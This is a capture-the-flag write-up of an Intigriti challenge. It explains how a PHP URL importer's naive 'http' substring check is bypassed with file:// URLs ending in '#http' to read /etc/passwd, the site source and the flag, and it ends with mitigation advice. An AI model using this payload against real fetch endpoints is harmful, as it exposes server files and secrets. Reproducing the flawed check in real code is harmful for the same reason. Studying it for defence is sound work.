A quick look at the source shows a naïve validation step that checks whether the string “http” appears in the parameter, then directly passes it to curl_init().

Intigriti Challenge 1025 - SSRF -> LFI Writeup

Author: kutaysec - Platform: Intigriti - Tier: 2


Description

The challenge hosted at
https://challenge-1025.intigriti.io/challenge.php
provides a simple importer interface that fetches a remote resource from a user-supplied URL.

A quick look at the source shows a naive validation step that checks whether the string http appears in the parameter, then directly passes it to curl_init().
This pattern allows a crafted input to pass the check but still trigger a local file read through file://.

Goal: Read arbitrary files from the server and retrieve the flag.


Challenge Analysis

The vulnerable PHP snippet looked like this:

if (isset($_GET['url'])) {
    $url = $_GET['url'];

    if (stripos($url, 'http') === false) {
        die("Invalid URL: must include 'http'");
    }

    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    echo htmlspecialchars(curl_exec($ch));
}

The stripos() check simply searches for the substring http.
It does not validate the actual scheme, so any string containing http somewhere (like in a fragment) will bypass it.

Vulnerability

Because curl supports multiple schemes (http, https, file, ftp, ...), we can exploit the logic flaw by adding a fragment such as #http:

file:///etc/passwd#http

The condition stripos($url, 'http') !== false passes,
but curl still interprets the prefix file:// and reads local files.


Proof of Concept

  1. Initial test
GET /challenge.php?url=file%3A%2F%2F%2Fetc%2Fpasswd%23http

Decoded: file:///etc/passwd#http
-> Successfully returns the contents of /etc/passwd.

  1. Source code disclosure
file:///var/www/html/challenge.php#http

Reveals the PHP source and confirms the logic flaw.

  1. Flag retrieval
file:///proc/self/root/93e892fe-c0af-44a1-9308-5a58548abd98.txt#http

-> Displays:

INTIGRITI{...}

Impact

Arbitrary File Read (LFI via SSRF)
Attackers can access configuration files, source code, or secrets.

Potential escalation to RCE if writable files or sensitive tokens exist.

Mitigation

Use parse_url() and verify the scheme strictly:

$parts = parse_url($url);
if (!in_array(strtolower($parts['scheme'] ?? ''), ['http', 'https'])) {
    die('Invalid URL');
}
  • Implement an allow-list of domains if remote fetching is required.
  • Disable file:// wrappers (allow_url_fopen=0 or CURLOPT_PROTOCOLS).
  • Sanitize and log all user inputs before cURL requests.

Conclusion

The challenge demonstrates how superficial string checks create severe SSRF/LFI vulnerabilities.
By appending a harmless-looking fragment containing http, the attacker tricks the filter and makes curl read local files, ultimately exposing the flag.